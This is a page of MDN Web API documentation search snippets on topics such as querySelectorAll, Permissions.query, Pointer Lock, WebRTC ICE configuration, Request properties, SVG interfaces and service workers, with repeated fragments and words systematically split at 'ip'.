...ocument.queryselector("#userlist"); var matches = container.queryselectorall("li[data-active=1]"); user notes queryselectorall() behaves differently than most common javascr
ipt dom libraries, which might lead to unexpected results. html consider this html, with its three nested <div> blocks. <div class="outer"> <div class="select"> <div class="inner"> </div> </div> </div> javascr
ipt var select = document.queryselector('.select'); var inner = select.queryselectorall('.outer .inner'); inner.length; // 1, not 0! in this example, when selecting .outer .inner in the context the <div> with the class select, the element with the class .inner is still found, even though .outer is not a descendant of the base element on which the search is performed (.select). by default, queryse...
PaymentAddress.phone - Web APIs
if no phone number is available, this value is an empty string. ...
...if no phone number is available, this value is an empty string. ...
...if no phone number is available, this value is an empty string. ...
Permissions.query() - Web APIs
the available options are: name: the name of the api whose permissions you want to query. ...
...the available options are: name: the name of the api whose permissions you want to query. ...
..., navigator.permissions.query() will return true for both notifications and push. note: the persistent-storage permission allows an origin to use a persistent box (i.e persistent storage) for its storage, as per the storage api. returns a promise that resolves to a permissionstatus object. exceptions exception explanation typeerror retrieving the permissiondescr
iptor information failed in some way, or the permission doesn't exist or is currently unsupported (e.g. midi, or push with uservisibleonly). example navigator.permissions.query({name:'geolocation'}).then(function(result) { if (result.state == 'granted') { showlocalnewswithgeolocation(); } else if (result.state == 'prompt') { showbuttontoenablelocalnews(); } // don't do anything if ...
Pointer Lock API - Web APIs
or example allowing users to control the viewing angle simply by moving the mouse around without any button clicking. the buttons are then freed up for other actions. other examples include apps for viewing maps or satellite imagery. pointer lock lets you access mouse events even when the cursor goes past the boundary of the browser or screen. for example, your users can continue to rotate or man
ipulate a 3d model by moving the mouse without end. without pointer lock, the rotation or man
ipulation stops the moment the pointer reaches the edge of the browser or screen. game players can now click buttons and sw
ipe the mouse cursor back and forth without worrying about leaving the game play area and accidentally clicking another application that would take mouse focus away from the game. basic...
...k is different from mouse capture in the following ways: it is persistent: pointer lock does not release the mouse until an explicit api call is made or the user uses a specific release gesture. it is not limited by browser or screen boundaries. it continues to send events regardless of mouse button state. it hides the cursor. method/properties overview this section provides a brief descr
iption of each property and method related to the pointer lock specification. requestpointerlock() the pointer lock api, similar to the fullscreen api, extends dom elements by adding a new method, requestpointerlock(). as it has recently unprefixed, you would currently declare it something like this, for example if you wanted to request pointer lock on a canvas element: canvas.requestpointerlock ...
...e available even when unlocked for convenience. when the mouse is unlocked, the system cursor can exit and re-enter the browser window. if that happens, movementx and movementy could be set to zero. simple example walkthrough we've written a simple pointer lock demo to show you how to use it to set up a simple control system (see source code). the demo looks like this: this demo uses javascr
ipt to draw a ball on top of an <canvas> element. when you click the canvas, pointer lock is then used to remove the mouse pointer and allow you to move the ball directly using the mouse. let's see how this works. we set initial x and y positions on the canvas: var x = 50; var y = 50; the pointer lock methods are currently prefixed, so next we'll fork them for the different browser implementation...
PromiseRejectionEvent - Web APIs
these events are particularly useful for telemetry and debugging purposes. for details on promise rejection events, see promise rejection events in using promises. ...
...ne="middle">promiserejectionevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor promiserejectionevent() creates a promiserejectionevent event, given the type of event (unhandledrejection or rejectionhandled) and other details. properties also inherits properties from its parent event. ...
...inherits properties from its parent event. promiserejectionevent.promise read only the javascr
ipt promise that was rejected. promiserejectionevent.reason read only a value or object indicating why the promise was rejected, as passed to promise.reject(). methods this interface has no unique methods; inherits methods from its parent event. events rejectionhandled fired when a javascr
ipt promise is rejected, and after the rejection is handled by the promise's rejection handling code. unhandledrejection fired when a javascr
ipt promise is rejected but there is no rejection handler to deal with the rejection. examples this simple example catches unhandled promise rejections and logs them for debugging purposes. window.onunhandledrejection = function(e) { console.log(e.reaso...
PublicKeyCredentialCreationOptions.pubKeyCredParams - Web APIs
the pubkeycredparams property of the publickeycredentialcreationoptions dictionary is an array whose elements are objects describing the desired features of the credential to be created. these objects define the type of public-key and the algorithm used for cryptographic signature operations. if this array contains mult
iple elements, they are sorted by descending order of preference. syntax pubkeycredparams = publickeycredentialcreationoptions.pubkeycredparams value an array whose elements are objects with the following properties: type a string describing type of public-key credential to be created. as of this writing (march 2019), only "public-key" may be used. alg a numeric identifier for the algorithm to be used to generate the key pair. the links between identifier and alg...
... value an array whose elements are objects with the following properties: type a string describing type of public-key credential to be created. as of this writing (march 2019), only "public-key" may be used. alg a numeric identifier for the algorithm to be used to generate the key pair. the links between identifier and algorithms are defined in this iana registry (e.g. ...
...e links between identifier and algorithms are defined in this iana registry (e.g. -7 indicates the ell
iptic curve algorithm ecdsa with sha-256). though those elements are sorted by preference (the first element being the most prefered), it is up to the client to choose among those elements for building the credential. ...
RTCConfiguration.certificates - Web APIs
rtificates; value an array of rtccertificate objects, each specifying one security certificate available for use when connecting to a remote peer. if this property isn't specified, the browser will automatically generate and use a certificate to secure the connection. see using certificates below for more information on why you might want to--or not to--explicitly provide certificates. ...
...se a certificate to secure the connection. see using certificates below for more information on why you might want to--or not to--explicitly provide certificates. descr
iption if this property isn't included in the configuration, a set of certificates is automatically generated for each instance of rtcpeerconnection. although a given dtls connection only uses a single certificate, providing mult
iple options in the certificates list may improve the odds of establishing a connection by increasing the chances a mutually-compatible encryption algorithm and key size may be found. the method by which a browser decides which certificate to use is implementation-dependent. some browsers may simply choose the first listed certificate and ignore the rest of the list; others may take a different app...
...n rtcpeerconnection instead of having the rtcpeerconnection generate them automatically, you do so by calling the static rtcpeerconnection.generatecertificate() function. the certificates property's value cannot be changed once it's first specified. if it's included in the configuration passed into a call to a connection's setconfiguration(), it is ignored. this attribute supports providing mult
iple certificates because even though a given dtls connection uses only one certificate, providing mult
iple certificates allows support for mult
iple encryption algorithms. the implementation of rtcpeerconnection will choose which certificate to use based on the algorithms it and the remote peer support, as determined during dtls handshake. if you don't provide certificates, new ones are generated a...
RTCIceCandidate.foundation - Web APIs
note: if port is null -- and port is supported by the user agent -- passing the candidate to addicecandidate() will fail, throwing an operationerror exception. ...
... note: if port is null -- and port is supported by the user agent -- passing the candidate to addicecandidate() will fail, throwing an operationerror exception. ...
... available. note: if port is null -- and port is supported by the user agent -- passing the candidate to addicecandidate() will fail, throwing an operationerror exception. usage notes consider this sdp attribute line (a-line) which describes an ice candidate: a=candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host the field "4234997325" is the foundation. example this code sn
ippet uses the foundation of two candidates to determine if they're actually the same candidate. if (candidate1.foundation == candidate2.foundation) { /* the two candidates are the same, even if they're on different transports */ } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.found...
RTCIceCandidate - Web APIs
sted in the rtcicecomponent enumerated type. foundation read only returns a domstring containing a unique identifier that is the same for any candidates of the same type, share the same base (the address from which the ice agent sent the candidate), and come from the same stun server. this is used to help optimize ice performance while prioritizing and correlating candidates that appear on mult
iple rtcicetransport objects.
ip read only a domstring containing the
ip address of the candidate. port read only an integer value indicating the candidate's port number. priority read only a long integer value indicating the candidate's priority. protocol read only a string indicating whether the candidate's protocol is "tcp" or "udp". the string is one of those in the enumerated type r...
...e's port number. priority read only a long integer value indicating the candidate's priority. protocol read only a string indicating whether the candidate's protocol is "tcp" or "udp". the string is one of those in the enumerated type rtciceprotocol. relatedaddress read only if the candidate is derived from another candidate, relatedaddress is a domstring containing that host candidate's
ip address. for host candidates, this value is null. relatedport read only for a candidate that is derived from another, such as a relay or reflexive candidate, the relatedport is a number indicating the port number of the candidate from which this candidate is derived. for host candidates, the relatedport property is null. sdpmid read only a domstring specifying the candidate's media stream i...
... for host candidates, the relatedport property is null. sdpmid read only a domstring specifying the candidate's media stream identification tag which uniquely identifies the media stream within the component with which the candidate is associated, or null if no such association exists. sdpmlineindex read only if not null, sdpmlineindex indicates the zero-based index number of the media descr
iption (as defined in rfc 4566) in the sdp with which the candidate is associated. tcptype read only if protocol is "tcp", tcptype represents the type of tcp candidate. otherwise, tcptype is null. type read only a domstring indicating the type of candidate as one of the strings from the rtcicecandidatetype enumerated type. usernamefragment read only a domstring containing a randomly-generat...
RTCIceCandidateStats.priority - Web APIs
y be anywhere from 1 to 2,147,483,647. determining priority the ice specification describes how user agents and other software using webrtc should calculate the priority. ...
... specifications spe...
...s computed using the formula (ptype is the priority of the candidate's type and plocal is the priority of the
ip address): priority = 224xptype + 28xplocal + (256 - componentid)priority\quad =\quad { 2 }^{ 24 }\times { p }_{ type }\quad +\quad { 2 }^{ 8 }\times { p }_{ local }\quad +\quad (256\quad -\quad componentid) this is equivalent to mapping the priorities of teh candidate type, the local
ip, and the component id into various bit ranges within the 32-bit priority value. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatestats.port' in that specification. candidate recommendation initial specification. ...
RTCIceCandidateType - Web APIs
the webrtc api's rtcicecandidatetype enumerated type provides a set of domstring values representing the types of ice candidate that can arrive. these strings are taken directly from the candidate a-line in sdp. values these candidate types are listed in order of priority; the higher in the list they are, the more efficient they are. ...
... enumerated type provides a set of domstring values representing the types of ice candidate that can arrive. these strings are taken directly from the candidate a-line in sdp. values these candidate types are listed in order of priority; the higher in the list they are, the more efficient they are. host the candidate is a host candidate, whose
ip address as specified in the rtcicecandidate.
ip property is in fact the true address of the remote peer. srflx the candidate is a server reflexive candidate; the
ip indicates an intermediary address assigned by the stun server to represent the candidate's peer anonymously. prflx the candidate is a peer reflexive candidate; the
ip is an intermediary address assigned by the stun server to represent the candidate's peer anonymously. relay t...
... usage notes the rtcicecandidatetype enumeration is used by the type property of rtcicecandidate objects, as well as when reporting statistics on candidates using rtcicecandidatestats.candidatetype. ...
RTCIceServers.urls - Web APIs
used for ice negotiations. these are typically stun and/or turn servers. syntax var iceserver = { urls = iceserverurl | [ url1, ..., urln ], username: "webrtc", // optional credential: "turnpassword" // optional }; iceservers.push(iceserver); the value of this property may be specified as a single url or as an array of mult
iple urls. examples let's look a few examples of varying complexity. a single ice server this example creates a new rtcpeerconnection which will use a stun server at stunserver.example.org to negotiate connections. mypeerconnection = new rtcpeerconnection({ iceservers: [ { urls: "stun:stunserver.example.org" } ] }); notice that only the urls property is provided; the stun ser...
...tion which will use a turn server at turnserver.example.org to negotiate connections. logging into the turn server will use the username "webrtc" and the creative password "turnpassword". mypeerconnection = new rtcpeerconnection({ iceservers: [ { urls: "turn:turnserver.example.org", username: "webrtc", credential: "turnpassword" } ] }); a single ice server with mult
iple urls the next example creates a new rtcpeerconnection which will use a single turn server which has mult
iple urls. this is useful if the server is, for example, available both on "turn" and "turns" schemes, or if there's a fallback address available for the server. keep in mind that ice will try all the urls you list here, so the more you include, the longer connections will take to establis...
...a fallback address available for the server. keep in mind that ice will try all the urls you list here, so the more you include, the longer connections will take to establish. mypeerconnection = new rtcpeerconnection({ iceservers: [ { urls: ["turns:turnserver.example.org", "turn:turnserver.example.org"], username: "webrtc", credential: "turnpassword" } ] }); mult
iple ice servers finally, this example creates a new rtcpeerconnection which will use one of two servers for ice negotiation. each server can have one or more urls, as demonstrated above. mypeerconnection = new rtcpeerconnection({ iceservers: [ { urls: ["turns:turnserver.example.org", "turn:turnserver.example.org"], username: "webrtc", credential: "turnpassword" }, ...
RTCInboundRtpStreamStats - Web APIs
rtp fec packets received for this source. this counter may also be incremented when fec packets arrive in-band along with media content; this can happen with opus, for example. fircount an integer value which indicates the total number of full intra request (fir) packets which this receiver has sent to the sender. this is an indicator of how often the stream has lagged, requiring frames to be sk
ipped in order to catch up. this value is only available for video streams. framesdecoded a long integer value indicating the total number of frames of video which have been correctly decoded so far for this media source. this is the number of frames that would have been rendered if none were dropped. only valid for video streams. lastpacketreceivedtimestamp a domhighrestimestamp indicating the ...
...ams. qpsum a 64-bit value containing the sum of the qp values for every frame decoded by this rtp receiver. you can determine the average qp per frame by dividing this value by framesdecoded. valid only for video streams. receiverid a string indicating which identifies the rtcaudioreceiverstats or rtcvideoreceiverstats object associated with the stream's receiver. this id is stable across mult
iple calls to getstats(). remoteid a string which identifies the rtcremoteoutboundrtpstreamstats object that provides statistics for the remote peer for this same ssrc. this id is stable across mult
iple calls to getstats(). slicount an integer indicating the number of times the receiver sent a slice loss indication (sli) frame to the sender to tell it that one or more consecutive (in terms of sc...
...) frame to the sender to tell it that one or more consecutive (in terms of scan order) video macroblocks have been lost or corrupted. available only for video streams. trackid a string which identifies the statistics object representing the receiving track; this object is one of two types: rtcreceiveraudiotrackattachmentstats or rtcreceivervideotrackattachmentstats. this id is stable across mult
iple calls to getstats(). examples specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcinboundrtpstreamstats' in that specification. candidate recommendation initial specification. ...
RTCPeerConnection() - Web APIs
this value isn't included in the dictionary, "balanced" is assumed. certificates optional an array of objects of type rtccertificate which are used by the connection for authentication. if this property isn't specified, a set of certificates is generated automatically for each rtcpeerconnection instance. although only one certificate is used by a given connection, providing certificates for mult
iple algorithms may improve the odds of successfully connecting in some circumstances. see using certificates below for additional information. this configuration option cannot be changed after it is first specified; once the certificates have been set, this property is ignored in future calls to rtcpeerconnection.setconfiguration(). icecandidatepoolsize optional an unsigned 16-bit integer valu...
...eger value which specifies the size of the prefetched ice candidate pool. the default value is 0 (meaning no candidate prefetching will occur). you may find in some cases that connections can be established more quickly by allowing the ice agent to start fetching ice candidates before you start trying to connect, so that they're already available for inspection when rtcpeerconnection.setlocaldescr
iption() is called. changing the size of the ice candidate pool may trigger the beginning of ice gathering. iceservers optional an array of rtciceserver objects, each describing one server which may be used by the ice agent; these are typically stun and/or turn servers. if this isn't specified, the connection attempt will be made with no stun or turn server available, which limits the connectio...
...fied, "all" is assumed. peeridentity optional a domstring which specifies the target peer identity for the rtcpeerconnection. if this value is set (it defaults to null), the rtcpeerconnection will not connect to a remote peer unless it can successfully authenticate with the given name. rtcpmuxpolicy optional the rtcp mux policy to use when gathering ice candidates, in order to support non-mult
iplexed rtcp. the value must be one of those from the rtcrtcpmuxpolicy enum. the default is "require". return value a newly-created rtcpeerconnection object, configured as described by configuration, if specified; otherwise, configured to appropriate basic defaults. specifications specification status comment webrtc 1.0: real-time communication between browsersthe defini...
RTCPeerConnection.addTrack() - Web APIs
nsceiver. the associated receiver is muted (indicating that it is not able to deliver packets) until and unless one or more streams are added to the receiver by the remote peer. exceptions invalidaccesserror the specified track (or all of its underlying streams) is already part of the rtcpeerconnection. invalidstateerror the rtcpeerconnection is closed. usage notes adding tracks to mult
iple streams after the track parameter, you can optionally specify one or more mediastream objects to add the track to. only tracks are sent from one peer to another, not streams. since streams are specific to each peer, specifying one or more streams means the other peer will create a corresponding stream (or streams) automatically on the other end of the connection, and will then automatically ad...
...n from the code presented in the article signaling and video calling and its corresponding sample code. it comes from the handlevideooffermsg() method there, which is called when an offer message is received from the remote peer. ...
...e article signaling and video calling and its corresponding sample code. it comes from the handlevideooffermsg() method there, which is called when an offer message is received from the remote peer. var mediaconstraints = { audio: true, // we want an audio track video: true // ...and we want a video track }; var desc = new rtcsessiondescr
iption(sdp); pc.setremotedescr
iption(desc).then(function () { return navigator.mediadevices.getusermedia(mediaconstraints); }) .then(function(stream) { previewelement.srcobject = stream; stream.gettracks().foreach(track => pc.addtrack(track, stream)); }) this code takes sdp which has been received from the remote peer and constructs a new rtcsessiondescr
iption to pass into setremotedescr
iption(). once that succeeds, it u...
RTCPeerConnection.peerIdentity - Web APIs
if an error occcurs while attempting to validate an incoming identity assertion (that is, the information describing a peer's identity), the promise is rejected. ...
... if an error occcurs while attempting to validate an incoming identity assertion (that is, the information describing a peer's identity), the promise is rejected. ...
... error occcurs while attempting to validate an incoming identity assertion (that is, the information describing a peer's identity), the promise is rejected. if there isn't already a target peer identity, peeridentity is set to a newly created promise and the process begins again, until the process succeeds or no further attempts to authenticate occur. note: the promise returned by setremotedescr
iption() cannot resolve until any target peer identity that's been set is validated. if the identity hasn't been validated yet, the promise returned by setremotedescr
iption() will be rejected. if there's no target peer identity, setremotedescr
iption() doesn't need to wait for validation to occur before it resolves. example in this example, a function, getidentityassertion(), is created which asyn...
RTCPeerConnectionIceErrorEvent.address - Web APIs
this address identifies the network interface on the local device which is being used to attempt to establish the connection to the remote peer. ...
...this address identifies the network interface on the local device which is being used to attempt to establish the connection to the remote peer. ...
...e on the local device which is being used to attempt to establish the connection to the remote peer. this can be useful on multi-homed systems--devices with more than one network connection--to determine which network interface is being used. for example, on a mobile phone, there are typically at least two network interfaces available: the cellular connection and a wifi connection. if the local
ip address isn't exposed as part of a local candidate, the value of address is null. examples this example creates a handler for icecandidateerror events which creates human readable messages describing the local network interface for the connection as well as the ice server that was being used to try to open the connection, then calls a function to display those as well as the event's errortext p...
RTCRtpCapabilities - Web APIs
ch describing one of the codecs supported by the rtcrtpsender or rtcrtpreceiver. there are some special entries in this array, described below in the section the codecs array. headerextensions an array of objects conforming to the rtcrtpheaderextensioncapability dictionary. each object contains a single domstring, uri, specifying the uri of the header extension, as described in rfc 5285. descr
iption the codecs array the codecs array is an array of objects conforming to the dictionary rtcrtpcodeccapability. each of these objects describes a single codec and its basic capabilities. its properties are: the browser will only report distinct capability combinations separately. if two sets of capabilities can be described as one, they will be. that means that, for instance, if there are t...
...try of these types. there are three special entries that should always be present, representing underlying components of the transport. those components are: red (redundant audio data) the media type of an red entry may vary due to there being several versions of it, but it will end with red, such as video/red or video/fwdred. the base red standard can be found in rfc 2198. there may be mult
iple entries for red if different forms are supported; each will have a unique media type in that case. fec (forward error correction) an fec component handles error correction data; its media type may also vary due to there being advanced versions of the standard available, but it will always end with fec. one possible value is video/ulpfec (a generic error connection model). there may also be mu...
... entries for red if different forms are supported; each will have a unique media type in that case. fec (forward error correction) an fec component handles error correction data; its media type may also vary due to there being advanced versions of the standard available, but it will always end with fec. one possible value is video/ulpfec (a generic error connection model). there may also be mult
iple fec entries if more than one form is supported. rtx (retransmission) this component is responsible for retransmission of data; it's media type should be video/rtx. there will only be one entry for rtx, and it will not have an sdpfmtpline property. don't be surprised to see these show up ijn the list; be prepared to ignore them if you're only interested in the actual codecs used for the medi...
Request.credentials - Web APIs
igin requests. syntax var mycred = request.credentials; value a requestcredentials dictionary value indicating whether the user agent should send cookies from the other domain in the case of cross-origin requests. possible values are: omit: never send or receive cookies. ...
... receive cookies. same-origin: send user credentials (cookies, basic http auth, etc..) if the url is on the same origin as the calling scr
ipt. this is the default value. include: always send user credentials (cookies, basic http auth, etc..), even for cross-origin calls. this is similar to xhr's withcredentials flag, but with three available values instead of two. ...
...s the calling scr
ipt. this is the default value. include: always send user credentials (cookies, basic http auth, etc..), even for cross-origin calls. this is similar to xhr's withcredentials flag, but with three available values instead of two. example in the following sn
ippet, we create a new request using the request.request() constructor (for an image file in the same directory as the scr
ipt), then save the request credentials in a variable: var myrequest = new request('flowers.jpg'); var mycred = myrequest.credentials; // returns "same-origin" by default specifications specification status comment fetchthe definition of 'credentials' in that specification. living standard initial definition ...
Request.destination - Web APIs
ault value. the destination is used by the user agent to, for example, help determine which set of rules to follow for cors purposes, or how to navigate any complicated code paths that affect how specific types of request get handled. these destinations vary substantially in how they operate. some are simply data receptacles, where the received data is stored for processing later. others are scr
ipt-based, in which case the received data is delivered to a scr
ipt by calling it and passing the data along. scr
ipt-based destinations include <scr
ipt> elements, as well as any of the worklet-based destinations (including audioworklet and paintworklet), and the worker-based destinations, including serviceworker and sharedworker. syntax var destination = request.destination; value a string from ...
...ker and sharedworker. syntax var destination = request.destination; value a string from the requestdestination enumerated type which indicates the type of content the request is asking for. this type is much broader than the usual document type values (such as "document" or "manifest"), and may include contextual cues such as "image" or "worker" or "audioworklet". ...
... enumerated type which indicates the type of content the request is asking for. this type is much broader than the usual document type values (such as "document" or "manifest"), and may include contextual cues such as "image" or "worker" or "audioworklet". example in the following sn
ippet, we create a new request using the request() constructor (for an image file in the same directory as the scr
ipt), then save the request's destination: var myrequest = new request('flowers.jpg'); var mydestination = myrequest.destination; // returns the empty string by default specifications specification status comment fetchthe definition of 'destination' in that specification. living standard initial definition ...
Request.mode - Web APIs
t is simply an error. you could use this to ensure that a request is always being made to your origin. no-cors -- prevents the method from being anything other than head, get or post, and the headers from being anything other than simple headers. if any serviceworkers intercept these requests, they may not add or override any headers except for those that are simple headers. in addition, javascr
ipt may not access any properties of the resulting response. this ensures that serviceworkers do not affect the semantics of the web and prevents security and privacy issues arising from leaking data across domains. cors -- allows cross-origin requests, for example to access various apis offered by 3rd party vendors. these are expected to adhere to the cors protocol. only a limited set of headers ...
...r, the value of the mode property for that request is set to cors. ...
...no-cors is typically used as the mode; for example, for embedded resources where the request is initiated from markup, unless the crossorigin attribute is present, the request is in most cases made using the no-cors mode -- that is, for the <link> or <scr
ipt> elements (except when used with modules), or <img>, <audio>, <video>, <object>, <embed>, or <iframe> elements. example in the following sn
ippet, we create a new request using the request.request() constructor (for an image file in the same directory as the scr
ipt), then save the request mode in a variable: var myrequest = new request('flowers.jpg'); var mymode = myrequest.mode; // returns "cors" by default specifications specification status comment fetchthe definition of 'mode' in that specification. liv...
Request - Web APIs
es with a formdata representation of the request body. body.json() returns a promise that resolves with a json representation of the request body. body.text() returns a promise that resolves with an usvstring (text) representation of the request body. note: the body functions can be run only once; subsequent calls will resolve with empty strings/arraybuffers. ...
...epresentation of the request body. body.text() returns a promise that resolves with an usvstring (text) representation of the request body. note: the body functions can be run only once; subsequent calls will resolve with empty strings/arraybuffers. ...
....org/favicon.ico'); const url = request.url; const method = request.method; const credentials = request.credentials; you could then fetch this request by passing the request object in as a parameter to a windoworworkerglobalscope.fetch() call, for example: fetch(request) .then(response => response.blob()) .then(blob => { image.src = url.createobjecturl(blob); }); in the following sn
ippet, we create a new request using the request() constructor with some initial data and body content for an api request which need a body payload: const request = new request('https://example.com', {method: 'post', body: '{"foo": "bar"}'}); const url = request.url; const method = request.method; const credentials = request.credentials; const bodyused = request.bodyused; note: the body type ca...
Resource Timing API - Web APIs
the resource timing interfaces enable retrieving and analyzing detailed network timing data regarding the loading of an application's resource(s). an application can use the timing metrics to determine, for example, the length of time it takes to load a specific resource, such as an xmlhttprequest, <svg>, image, or scr
ipt. the interface's properties create a resource loading timeline with high-resolution timestamps for network events such as redirect start and end times, dns lookup start and end times, request start, response start and end times, etc. the interface also includes other properties that provide data about the size of the fetched resource as well as the type of resource that initiated the fetch. this document provides an overview of the resource timing interfaces. for more de...
... performanceresourcetiming interface also includes several network timing properties. the redirectstart and redirectend properties return timestamps for redirect start and end times, respectively. likewise, the the domainlookupstart and domainlookupend properties return timestamps for dns lookup start and end times, respectively. this would be a nice place to have a diagram showing the relationsh
ips between these segments of the resource loading time. resource size the performanceresourcetiming interface has three properties that can be used to obtain size data about a resource. the transfersize property returns the size (in octets) of the fetched resource including the response header fields plus the response payload body. the encodedbodysize property returns the size (in octets) receiv...
...re broadly implemented by desktop browsers. however, note that some properties have little to no implementation so see each property's "browser compatibility" section for more specific interoperability data. ...
SVGFEBlendElement - Web APIs
svg_feblend_mode_screen 3 cor...
... svg_feblend_mode_screen 3 corresponds to the value screen. svg_feblend_mode_darken 4 corresponds to the value darken. svg_feblend_mode_lighten 5 corresponds to the value lighten. ...
... svg_feblend_mode_screen 3 corresponds to the value screen. svg_feblend_mode_darken 4 corresponds to the value darken. svg_feblend_mode_lighten 5 corresponds to the value lighten. ...
SVGGraphicsElement: copy event - Web APIs
the copy event fires on svggraphicselements when the user initiates a copy action through the browser's user interface. bubbles yes cancelable yes interface cl
ipboardevent event handler property oncopy the event's default action is to copy the selection (if any) to the cl
ipboard. a handler for this event can modify the cl
ipboard contents by calling setdata(format, data) on the event's cl
ipboardevent.cl
ipboarddata property, and cancelling the event's default action using event.preventdefault(). however, the handler cannot read the cl
ipboard data. it's possible to construct and dispatch a synthetic copy event, but this will not affect the system cl
ipboard. example html <?xml version="1.0" encoding="utf-8"?> <svg viewbox="0 0 100 3...
...t="320" xmlns="http://www.w3.org/2000/svg"> <text x="5" y="10" id="text-to-copy">copy this text</text> <foreignobject x="5" y="20" width="90" height="20"> <input xmlns="http://www.w3.org/1999/xhtml" placeholder="paste it here"/> </foreignobject> </svg> css input { font-size: 10px; width: 100%; height: 90%; box-sizing: border-box; border: 1px solid black; } javascr
ipt document.getelementsbytagname("text")[0].addeventlistener("copy", evt => { evt.cl
ipboarddata.setdata('text/plain', document.getselection().tostring().touppercase()); evt.preventdefault(); }); result specifications specification status comment scalable vector graphics (svg) 2 candidate recommendation definition that the cl
ipboard events apply to svg element...
...telementsbytagname("text")[0].addeventlistener("copy", evt => { evt.cl
ipboarddata.setdata('text/plain', document.getselection().tostring().touppercase()); evt.preventdefault(); }); result specifications specification status comment scalable vector graphics (svg) 2 candidate recommendation definition that the cl
ipboard events apply to svg elements. ...
SVGMarkerElement - Web APIs
it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type. svg_marker_orient_auto 1 attribute orient has value 'auto'. ...
...s type or to attempt to switch an existing value to this type. svg_marker_orient_auto 1 attribute orient has value 'auto'. svg_marker_orient_angle 2 attribute orient has an angle value. units name value descr
iption svg_markerunits_unknown 0 the marker unit type is not one of predefined types. it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type. svg_markerunits_userspaceonuse 1 attribute markerunits is 'userspaceonuse'. ...
...rkerunits_strokewidth 2 attribute markerunits is 'strokewidth'. properties this interface also inherits properties from its parent interface, svgelement, and implements properties from svgexternalresourcesrequired, svganimatedpreserveaspectratio, and svgstylable. name type descr
iption refx svganimatedlength corresponds to attribute refx on the given marker element. refy svganimatedlength corresponds to attribute refy on the given marker element. markerunits svganimatedenumeration corresponds to attribute mar...
SVGTransform - Web APIs
it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type. svg_transform_matrix 1 a matrix(...) transformation svg_transform_translate 2 a translate(...) transformation svg_transform_scale 3 a scale(...)...
... angle float a convenience attribute for svg_transform_rotate, svg_transform_skewx and svg_transform_skewy. it holds the angle that was specified. for svg_transform_matrix, svg_transform_translate and svg_transform_scale, angle wil...
...or svg_transform_skewx and svg_transform_skewy, a, b, c and d represent the matrix which will result in the given skew (e=0 and f=0). for svg_transform_rotate, a, b, c, d, e and f together represent the matrix which will result in the given rotation. when the rotation is around the center point (0, 0), e and f will be zero. methods name & arguments return descr
iption setmatrix(in svgmatrix matrix) void sets the transform type to svg_transform_matrix, with parameter matrix defining the new transformation. note that the values from the parameter matrix are copied. exceptions: a domexception with code no_modification_allowed_err is raised when attempting to modify a read only attribute or when the object itself is read...
ServiceWorker - Web APIs
pages, workers, etc.) can be associated with the same service worker, each through a unique serviceworker object. a serviceworker object is available in the serviceworkerregistration.active property, and the serviceworkercontainer.controller property -- this is a service worker that has been activated and is controlling the page (the service worker has been successfully registered, and the controlled page has been reloaded.) the serviceworker interface is dispatched a set of lifecycle events -- install and activate -- and functional events including fetch. ...
...n successfully registered, and the controlled page has been reloaded.) the serviceworker interface is dispatched a set of lifecycle events -- install and activate -- and functional events including fetch. a serviceworker object has an associated serviceworker.state, related to its lifecycle. properties the serviceworker interface inherits properties from its parent, worker. serviceworker.scr
ipturl read only returns the serviceworker serialized scr
ipt url defined as part of serviceworkerregistration. the url must be on the same origin as the document that registers the serviceworker. serviceworker.state read only returns the state of the service worker. it returns one of the following values: installing, installed, activating, activated, or redundant. event handlers servicewor...
...event handlers serviceworker.onstatechange read only an eventlistener property called whenever an event of type statechange is fired; it is basically fired anytime the serviceworker.state changes. methods the serviceworker interface inherits methods from its parent, worker, with the exception of worker.terminate -- this should not be accessible from service workers. examples this code sn
ippet is from the service worker registration-events sample (live demo). the code listens for any change in the serviceworker.state and returns its value. if ('serviceworker' in navigator) { navigator.serviceworker.register('service-worker.js', { scope: './' }).then(function (registration) { var serviceworker; if (registration.installing) { serviceworker ...
ServiceWorkerGlobalScope - Web APIs
s on a displayed notification. also available via the serviceworkerglobalscope.onnotificationclick property. notificationclose occurs -- when a user closes a displayed notification. also available via the serviceworkerglobalscope.onnotificationclose property. push occurs when a server push notification is received. also available via the serviceworkerglobalscope.onpush property. pushsubscr
iptionchange occurs when a push subscr
iption has been invalidated, or is about to be invalidated (e.g. when a push service sets an expiration time). also available via the serviceworkerglobalscope.onpushsubscr
iptionchange property. sync triggered when a call to syncmanager.register is made from a service worker client page. the attempt to sync is made either immediately if the network is availab...
... serviceworkerglobalscope implements workerglobalscope -- which implements windoworworkerglobalscope. ...
...e -- which implements windoworworkerglobalscope. therefore it also has the following property available to it: globalfetch.fetch() starts the process of fetching a resource. this returns a promise that resolves to the response object representing the response to your request. this algorithm is the entry point for the fetch handling handed to the service worker context. examples this code sn
ippet is from the service worker prefetch sample (see prefetch example live.) the serviceworkerglobalscope.onfetch event handler listens for the fetch event. when fired, the code returns a promise that resolves to the first matching request in the cache object. if no match is found, the code fetches a response from the network. the code also handles exceptions thrown from the fetch() operation. not...
ServiceWorkerRegistration.index - Web APIs
the index read-only property of the serviceworkerregistration interface returns a reference to the contentindex interface, which allows for indexing of offline content. syntax var a contentindex object = serviceworkerregistration.index; value a contentindex object examples you can access the property from either your main scr
ipt or the registered service worker. ...
...x read-only property of the serviceworkerregistration interface returns a reference to the contentindex interface, which allows for indexing of offline content. syntax var a contentindex object = serviceworkerregistration.index; value a contentindex object examples you can access the property from either your main scr
ipt or the registered service worker. ...
...can access the property from either your main scr
ipt or the registered service worker. here is an example from the main scr
ipt: // reference registration const registration = await navigator.serviceworker.ready; // feature detection if ('index' in registration) { // content index api functionality const contentindex = registration.index; } from the service worker: // service worker scr
ipt const contentindex = self.registration.index; specifications specification status comment unknownthe definition of 'index' in that specification. unknown initial definition. ...
ShadowRoot.mode - Web APIs
syntax var mode = shadowroot.mode value a value defined in the shadowrootmode enum -- either open or closed. ...
... syntax var mode = shadowroot.mode value a value defined in the shadowrootmode enum -- either open or closed. ...
... syntax var mode = shadowroot.mode value a value defined in the shadowrootmode enum -- either open or closed. ...
SpeechRecognitionAlternative - Web APIs
